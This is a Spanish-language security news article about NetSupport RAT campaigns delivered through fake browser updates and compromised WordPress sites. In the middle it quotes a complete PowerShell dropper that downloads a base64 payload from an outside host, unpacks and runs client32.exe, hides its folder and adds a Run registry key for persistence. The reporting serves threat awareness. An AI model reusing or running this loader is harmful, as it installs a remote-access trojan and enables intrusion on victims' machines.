Los agentes de amenazas están enfocando sus ataques en los sectores de educación, gobierno y servicios empresariales mediante el uso de un troyano de acceso remoto conocido como NetSupport RAT.

> Según un informe por parte de los investigadores de VMware Carbon Black, *«los métodos de entrega para el NetSupport RAT abarcan desde actualizaciones fraudulentas y descargas involuntarias hasta el uso de cargadores de malware, como GHOSTPULSE, y diversas formas de campañas de phishing».*

La firma de ciberseguridad reveló que ha identificado al menos 15 nuevas infecciones relacionadas con NetSupport RAT en las últimas semanas.

Aunque NetSupport Manager comenzó como una herramienta legítima de administración remota destinada a brindar asistencia técnica y soporte, los actores maliciosos han desviado el propósito de la herramienta para utilizarla como punto de partida en ataques posteriores.

Por lo general, NetSupport RAT se descarga en la computadora de la víctima a través de sitios web engañosos y falsas actualizaciones de navegadores.

En agosto de 2022, Sucuri detalló una campaña en la que sitios de WordPress comprometidos se empleaban para mostrar páginas fraudulentas de protección DDoS de Cloudflare, lo que conducía a la distribución de NetSupport RAT.

```
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C
$feIdCwjZjVrYDJvBjMZUATi='https://kgscrew.com/111.php?12911';$PjHBqGtmdH=(New-O
bject
System.Net.WebClient).DownloadString($feIdCwjZjVrYDJvBjMZUATi);$veFuAbOLkQJuxwJ
ajFvANbjFs=[System.Convert]::FromBase64String($PjHBqGtmdH);$zxc = Get-Random
-Minimum -10000 -Maximum 10000;
$cnFDjLyiMGrpSitqHbUziPmsaHHk=[System.Environment]::GetFolderPath('ApplicationD
ata')+'\DIVX'+$zxc;if (!(Test-Path $cnFDjLyiMGrpSitqHbUziPmsaHHk -PathType
Container)) { New-Item -Path $cnFDjLyiMGrpSitqHbUziPmsaHHk -ItemType Directory
};$p=Join-Path $cnFDjLyiMGrpSitqHbUziPmsaHHk
'p.zip';[System.IO.File]::WriteAllBytes($p,$veFuAbOLkQJuxwJajFvANbjFs);try {
Add-Type -A System.IO.Compression.FileSystem;
[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$cnFDjLyiMGrpSitqHbUziPm
saHHk)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path
$cnFDjLyiMGrpSitqHbUziPmsaHHk 'client32.exe';if (Test-Path $e -PathType Leaf) {
Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FOLD=Get-Item
$cnFDjLyiMGrpSitqHbUziPmsaHHk -Force;
$FOLD.attributes='Hidden';$s=$cnFDjLyiMGrpSitqHbUziPmsaHHk+'\client32.exe';$k='
HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='DIVXX';$t='String';New
-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
```

El uso de actualizaciones falsas de navegadores web es una táctica a menudo asociada con el despliegue de un malware descargador basado en JavaScript conocido como SocGholish (también llamado FakeUpdates), que también se ha observado propagando un malware cargador denominado BLISTER.

La carga útil de JavaScript invoca posteriormente a PowerShell para conectarse a un servidor remoto y recuperar un archivo ZIP que contiene NetSupport RAT, que, al ser instalado, emite señales a un servidor de control y comando (C2).

> *«Una vez instalado en el dispositivo de la víctima, NetSupport es capaz de monitorear el comportamiento, transferir archivos, manipular la configuración de la computadora y moverse a otros dispositivos dentro de la red»,* indicaron los investigadores.